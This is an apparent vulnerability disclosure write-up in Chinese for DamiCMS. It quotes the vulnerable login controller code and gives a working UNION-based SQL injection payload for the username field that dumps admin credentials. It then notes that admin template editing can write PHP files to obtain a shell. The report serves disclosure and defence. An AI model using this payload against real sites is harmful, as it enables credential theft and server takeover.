### 简要描述:
大米CMS注入,后台可以getshelll
### 详细说明:
一)注入
1.挖洞前奏
Damicms搭建在本地以后,对cms\dami\Core\Lib\Think\Db\Db.class.php进行修改,将sq语句var_dump处理。
然后就进行黑盒测试。搜索点,以及admin登入点输入单引号就会给过滤了。。。
看到有注册功能,发现登入点居然没有过滤单引号。。。
[<img src="https://images.seebug.org/upload/201410/30180504510d354a04c60c6632733c2c0f537e77.png" alt="图片3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/30180504510d354a04c60c6632733c2c0f537e77.png)
这运气比较好了
2.漏洞原理
于是苦逼看代码,发现thinkphp 看不懂 - -
去学习了一下回来了。。。。
发现登入点在: dami\Web\Lib\Action\MemberAction.class.php
这控制器里面
发现问题代码:
$username = htmlspecialchars($_REQUEST['username']);
$userpwd = $_REQUEST['userpwd'];
if($username=='' || $userpwd==''){$this->error('请输入用户名和密码?');exit();}
$info = M('member')->where("username='{$username}' and is_lock=0")->find();
if(!$info){$this->error('用户不存在或已经禁止登陆!');}
else
{
if($info['userpwd'] != md5($userpwd)){
$this->error('密码错误,请重新登录!');
}else{
$_SESSION['dami_uid'] = $info['id'];
$_SESSION['dami_username'] = $info['username'];
if(!empty($_REQUEST['lasturl'])){
$this->assign('jumpUrl',urldecode(htmlspecialchars($_REQUEST['lasturl'])));
}
else{
$this->assign('jumpUrl',U('Member/main'));
}
$this->success('登录成功~');
}
}
发现username没有过滤就放进去了......我想为什么thinkphp不过滤呢?测试其它的点都够了了。最后发现了。
[<img src="https://images.seebug.org/upload/201410/30180551fcb1e252ab50145324acccffe154a85d.png" alt="图片4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/30180551fcb1e252ab50145324acccffe154a85d.png)
Thinkphp的where查看如果只对字符型的,他是不会过滤的 = =......他过滤数组进去的和对象进去的对象。。。。。。。。。
程序员过分信赖thinkphp的过滤,导致漏洞发生......
也就是登入时候用户名:-1' union select 1,(select concat(id,0x23,username,0x23,password) from dami_admin),'c4ca4238a0b923820dcc509a6f75849b',4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
密码是1
登入进去看见用户名就是注入出的东西了。
[<img src="https://images.seebug.org/upload/201410/301808055f0f944a5b416e5605898e65faba2928.png" alt="图片5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/301808055f0f944a5b416e5605898e65faba2928.png)
4.后台编辑文件直接生成php
模板管理 编辑文件 可以直接生成php文件
[<img src="https://images.seebug.org/upload/201410/30181319830afe7e625163b91685dc414943dd9f.png" alt="图片2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/30181319830afe7e625163b91685dc414943dd9f.png)
### 漏洞证明:
暂无评论